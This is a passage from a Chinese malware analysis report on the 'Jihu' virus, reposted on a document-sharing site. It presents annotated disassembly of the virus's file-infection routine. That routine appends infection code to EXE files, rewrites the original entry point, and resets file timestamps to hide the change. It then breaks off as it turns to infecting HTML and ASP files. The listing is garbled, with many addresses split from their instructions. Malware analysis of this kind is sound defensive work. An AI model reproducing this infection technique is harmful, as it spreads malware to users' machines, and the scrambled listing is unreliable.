极虎病毒分析报告(5)

来源：网络收集时间：2018-12-17 下载这篇文档手机版

说明：文章内容仅供预览，部分内容可能不全，需要完整文档或者需要复制内容，请下载word后使用。下载word有问题请添加微信号:或QQ：处理（尽可能给您提供完整文档），感谢您的支持与谅解。

.text:004072F5 mov eax, [eax+50h] .text:004072F8 add eax, [ebp+var_5C] .text:004072FB mov ecx, [ebp+NTAddress]

.text:00407301 mov [ecx+50h], eax ; 修改导入表的地址 .text:00407304 push [ebp+lpBaseAddress] ; lpBaseAddress .text:00407307 call ds:UnmapViewOfFile

.text:0040731E push 2 ; dwMoveMethod

.text:00407320 push 0 ; lpDistanceToMoveHigh .text:00407322 .text:00407328 .text:0040732B .text:0040732C .text:0040732F .text:00407335 .text:00407338 .text:0040733E .text:00407340 .text:00407342 .text:00407344 .text:00407347 .text:00407348 .text:0040734B .text:00407351 .text:00407353 .text:00407356 .text:00407357 .text:0040735C .text:00407361 .text:00407364 .text:0040736A .text:0040736C .text:0040736F .text:00407370 ; nNumberOfBytesToWrite

.text:00407376 .text:0040737C .text:0040737F .text:00407385 .text:00407387 .text:00407389 .text:0040738B .text:00407391 .text:00407394 mov eax, [ebp+SplcaeEnd] add eax, [ebp+var_54]

push eax ; lDistanceToMove push [ebp+hFile] ; hFile call ds:SetFilePointer

push [ebp+hFile] ; hFile call ds:SetEndOfFile

push 2 ; dwMoveMethod

push 0 ; lpDistanceToMoveHigh xor eax, eax

sub eax, [ebp+var_54]

push eax ; lDistanceToMove push [ebp+hFile] ; hFile

call ds:SetFilePointer ; 定位到文件结尾 push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten]

push eax ; lpNumberOfBytesWritten push 297h ; nNumberOfBytesToWrite push offset loc_409BA8 ; lpBuffer push [ebp+hFile] ; hFile

call ds:WriteFile ; 写入感染exe的代码 push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten]

push eax ; lpNumberOfBytesWritten push nNumberOfBytesToWrite push lpBuffer ; lpBuffer push [ebp+hFile] ; hFile call ds:WriteFile

push 1 ; dwMoveMethod

push 0 ; lpDistanceToMoveHigh xor eax, eax

sub eax, nNumberOfBytesToWrite sub eax, 2Bh

push eax ; lDistanceToMove

.text:00407395 push [ebp+hFile] ; hFile .text:00407398 call ds:SetFilePointer

.text:0040739E push 0 ; lpOverlapped .text:004073A0 lea eax, [ebp+NumberOfBytesWritten]

.text:004073A3 push eax ; lpNumberOfBytesWritten .text:004073A4 push 4 ; nNumberOfBytesToWrite .text:004073A6 push offset nNumberOfBytesToWrite ; lpBuffer .text:004073AB push [ebp+hFile] ; hFile .text:004073AE call ds:WriteFile

.text:004073B4 mov eax, [ebp+EndOfShellCode] .text:004073B7 add eax, 297h

.text:004073BC mov ecx, [ebp+OEP] ; 保存OEP .text:004073C2 sub ecx, eax

.text:004073C4 mov [ebp+Buffer], ecx ; 重定位OEP

.text:004073C7 push 2 ; dwMoveMethod

.text:004073C9 push 0 ; lpDistanceToMoveHigh .text:004073CB xor eax, eax

.text:004073CD sub eax, [ebp+var_54]

.text:004073D0 push eax ; lDistanceToMove .text:004073D1 push [ebp+hFile] ; hFile .text:004073D4 call ds:SetFilePointer

.text:004073DA push 1 ; dwMoveMethod

.text:004073DC push 0 ; lpDistanceToMoveHigh .text:004073DE push 293h ; lDistanceToMove .text:004073E3 push [ebp+hFile] ; hFile .text:004073E6 call ds:SetFilePointer

.text:004073EC push 0 ; lpOverlapped .text:004073EE lea eax, [ebp+NumberOfBytesWritten]

.text:004073F1 push eax ; lpNumberOfBytesWritten .text:004073F2 push 4 ; nNumberOfBytesToWrite .text:004073F4 lea eax, [ebp+Buffer]

.text:004073F7 push eax ; lpBuffer .text:004073F8 push [ebp+hFile] ; hFile

.text:004073FB call ds:WriteFile ; 将OEP写入被感染的exe文件 .text:00407401 push 1 ; int .text:00407403 lea eax, [ebp+CreationTime]

.text:00407409 push eax ; lpCreationTime .text:0040740A push [ebp+hFile] ; hFile

.text:0040740D call FileOldTime ; 将被感染的文件的时间设置成之前的时间

对于html和htm，asp，apsl格式文件则在该文件末尾写上一串